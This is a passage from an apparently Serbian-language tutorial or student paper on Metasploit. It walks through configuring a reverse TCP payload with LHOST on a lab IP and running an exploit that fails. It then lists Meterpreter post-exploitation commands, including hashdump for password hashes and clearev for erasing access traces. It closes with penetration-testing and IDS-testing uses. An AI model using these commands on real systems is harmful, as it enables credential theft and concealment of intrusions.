udaljenom računaru ako je exploit uspešno izvršen. Sada ponovo korišćenjem komande „show
options“ možemo proveriti da li su vrednosti postavljene u svim neophodnim poljima.
Slika 9. Lista mogućih paketa
Slika 10. Opcije za reverse tcp paket
Pošto LHOST opcija za paket nije postavljena postavljamo je na našu lokalnu IP adresu
komandom „set LHOST 192.168.48.188“.
Osmi korak
Sada kada je sve spremno i exploit dobro konfigurisan možemo ga i pokrenuti. Komanda
„check“ se može koristiti kako bi se proverilo da li je ciljna mašina ranjiva na exploit ili ne.
Ovu opciju nemaju svi exploit-i ali nije šteto proveriti pre svakog napada jer je od koristi znati da
li je ciljna mašina ranjiva ili možda već poseduje zakrpe za odreĎenu vrstu napada za koju smo
se odlučili. U našem slučaju, exploit nema mogućnost opcije „check“.
Komanda „exploit“ zapravo pokreće napad i radi sve što je potrebno kako bi se paket
ubacio i pokrenuo na ciljnom sistemu.
Slika 11. Pokretanje exploit-a
Exploit je izvršen ali neuspešno. Da je uspešno izvršen bila bi pokrenuta Meterpreter
sesija i prompt bi se promenio u „meterpreter>“ i imali bismo potpunu kontrolu nad
udaljenim računarom.
Deveti korak Obzirom da nije uspostavljena uspešna konekcija na udaljeni računar zbog dobre zaštite
(barem od ovog exploit-a), sada ću samo figurativno obrazložiti kako bi izgledao sledeći korak
nakon dobijanja potpune kontrole. Ako je Windows server mašina u pitanju neke od komandi
koje bismo mogli da izvršimo su :
ipconfig – prikazuje trenutnu TCP/IP konfiguraciju mašine
getuid – ispisuje korisničko ime servera
hashdump – ispisuje sadržaj SAM baze podataka (baza gde se čuvaju šifre)
clearev – ova komanda se može koristiti kako bi se obrisali svi tragovi pristupa
računaru
Potencijalna upotreba Metasploit okvira
1. Metasploit se može koristiti za vreme ispitivanja mogućnosti proboja kako bi se potvrdili
mogući izveštaji dobijeni iz drugih alata za automatsku procenu slabosti da ranjivost nije
false positive i da se može iskoristiti. TakoĎe, mora se voditi računa ne samo da se
dokaže da nije false positive već i da se greškom ne pogoršaju stvari ili nanese šteta.
2. Metasploit se takoĎe može koristiti kako bi se testirali novi exploiti, koji pristižu skoro
svakodnevno, na lokalnim test serverima kako bi se shvatilo koliko je koji efikasan.
3. Ovaj okvir je odličan test alat za sisteme detekcije provale (eng. Intrusion Detection
Systems). Njime možemo proveriti da li je IDS efikasan u zaustavljanju raznih napada
koje koristimo kako bismo ga zaobišli.